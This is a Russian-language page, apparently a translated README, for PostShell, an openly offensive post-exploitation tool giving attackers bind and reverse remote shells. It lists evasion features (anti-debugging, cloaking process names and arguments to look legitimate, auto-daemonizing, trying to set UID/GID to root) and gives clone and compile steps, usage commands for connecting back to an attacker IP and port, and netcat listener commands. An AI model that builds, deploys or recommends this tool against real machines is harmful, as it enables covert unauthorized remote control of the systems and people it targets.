PostShell

PostShell — это оболочка для пост-эксплуатации, которая включает как привязанную оболочку (bind shell), так и оболочку обратного подключения (back connect). Она создаёт полностью интерактивный TTY, что позволяет управлять задачами (job control). Размер заглушки (stub) — около 14 КБ, и она может быть скомпилирована на любой Unix-подобной системе.

Скриншоты

Скриншот Баннер и взаимодействие с оболочкой после установки соединения.

Зачем использовать традиционные Backconnect/Bind Shell?

PostShell упрощает пост-эксплуатацию, делая атакующего менее зависимым от таких зависимостей, как Python и Perl. Он также включает как обратное подключение (back connect), так и привязанную оболочку (bind shell). Это означает, что если цель не разрешает исходящие соединения, оператор может просто запустить bind shell и подключиться к машине удалённо. PostShell также значительно менее подозрителен, чем традиционная оболочка, благодаря тому, что как имя процессов, так и аргументы скрыты (cloaked).

Возможности

Анти-отладка (Anti-Debugging): если обнаруживается, что ptrace прикреплён к оболочке, она завершится.
Имена процессов/потоков скрываются: поддельное имя перезаписывает все системные аргументы и имя файла, чтобы программа выглядела легитимной.
TTY: создаётся TTY, который позволяет использовать машину так же, как если бы вы были подключены через SSH.
Bind/Backconnect shell: можно создать как привязанную оболочку, так и оболочку обратного подключения.
Небольшой размер заглушки (Small Stub Size): обычно генерируется очень маленькая заглушка (<14 КБ).
Автоматически демонизируется (daemonizes)
Пытается установить GUID/UID в 0 (root)

Начало работы

Загрузка: git clone https://github.com/rek7/postshell
Компиляция: cd postshell && sh compile.sh Это должно создать бинарный файл с именем «stub» — это вредоносная программа.

Команды

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

Пример использования

Backconnect:

$ ./stub 127.0.0.1 13377

Bind Shell:

$ ./stub 13377

Получение соединения с помощью Netcat

Получение обратного подключения (backconnect):

$ nc -vlp port

Подключение к привязанной оболочке (bind shell):

$ nc host port

TODO:

Добавить разрешение доменных имён (domain resolution)

postshell

Популярное